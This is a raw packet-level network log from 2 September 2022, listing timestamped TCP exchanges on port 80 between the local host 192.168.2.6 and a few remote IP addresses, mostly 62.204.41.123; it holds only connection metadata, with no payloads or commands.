Sep 2, 2022 14:02:21.822726965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822741985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822757006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822767019 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822777987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822793007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822798014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822814941 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822824001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822839975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822844982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822865009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822879076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822890043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822899103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822915077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822921991 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822938919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822946072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822961092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.822973013 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.822985888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823000908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823012114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823024988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823036909 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823049068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823060989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823075056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823085070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823100090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823107958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823124886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823133945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823149920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823158979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823174000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823182106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823196888 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823206902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823221922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823230982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823252916 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823261976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823277950 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823283911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823302984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823312044 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823327065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823333025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823363066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823367119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823386908 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823391914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823414087 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823440075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823442936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823465109 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823471069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823491096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823493958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823514938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823520899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823540926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823544025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823565960 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823571920 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823591948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823596001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823616028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823622942 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823642969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823646069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823664904 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823671103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823689938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823693991 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823712111 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823720932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823739052 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823760033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823775053 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823791027 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823797941 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823820114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823843956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823863983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823869944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823869944 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823873043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823885918 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823894978 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823906898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823920012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823941946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823949099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823966026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.823981047 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.823990107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824006081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824018002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824031115 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824043989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824055910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824069023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824079990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824094057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824105978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824120998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824145079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824147940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824171066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824193001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824201107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824207067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824209929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824217081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824239016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824264050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824265003 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824270010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824282885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824292898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824307919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824312925 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824331999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824356079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824378014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824394941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824399948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824403048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824409008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824415922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824428082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824444056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824450016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824470043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824471951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824492931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824493885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824517012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824517965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824539900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824542046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824564934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824568987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824589014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824594021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824613094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824625969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824637890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824645042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824661970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824670076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824685097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824695110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824711084 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824718952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824734926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824743986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824755907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824768066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824778080 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824795008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824800014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824821949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824822903 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824846029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824848890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824867964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824873924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824889898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824897051 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824913025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824923038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824934006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824953079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.824955940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824980021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.824985981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825001001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825007915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825026035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825028896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825050116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825061083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825071096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825074911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825094938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825110912 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825119972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825136900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825145006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825159073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825169086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825181961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825191975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825211048 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825215101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825232029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825239897 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825263977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825263977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825285912 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825292110 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825309038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825318098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825330973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825345993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825352907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825375080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825376034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825398922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825400114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825421095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825424910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825443029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825448036 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825464964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825473070 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825486898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825499058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825512886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825522900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825536966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825551987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825558901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825577974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825582027 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825603962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825623035 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825623035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825645924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825645924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825665951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825674057 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825686932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825700998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825706959 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825726032 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825726986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825746059 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825752020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825767040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825776100 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825788021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825799942 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825808048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825828075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825830936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825851917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825854063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825876951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825879097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825901985 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825902939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825927019 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825928926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825951099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825953007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825973988 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.825978994 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.825997114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.826000929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826025009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.826026917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826047897 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.826050997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826073885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826077938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.826098919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826103926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.826128960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826129913 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.826147079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826179028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.826263905 CEST	80	49789	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:21.828799963 CEST	49789	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:21.842761993 CEST	80	49786	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:21.845729113 CEST	80	49790	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:21.847368002 CEST	49790	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:21.880815983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.880892038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885685921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885735035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885759115 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885765076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885781050 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885793924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885807037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885823965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885833979 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885854006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885868073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885883093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885894060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885915041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885930061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885943890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885972023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.885978937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.885999918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886012077 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886044025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886049986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886073112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886091948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886101961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886116028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886131048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886138916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886158943 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886187077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886209011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886215925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886239052 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886261940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886267900 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886296034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886306047 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886323929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886336088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886352062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886362076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886380911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886392117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886409998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886420012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886436939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886451960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886467934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:21.886492014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:21.886512995 CEST	80	49768	62.204.41.123	192.168.2.6
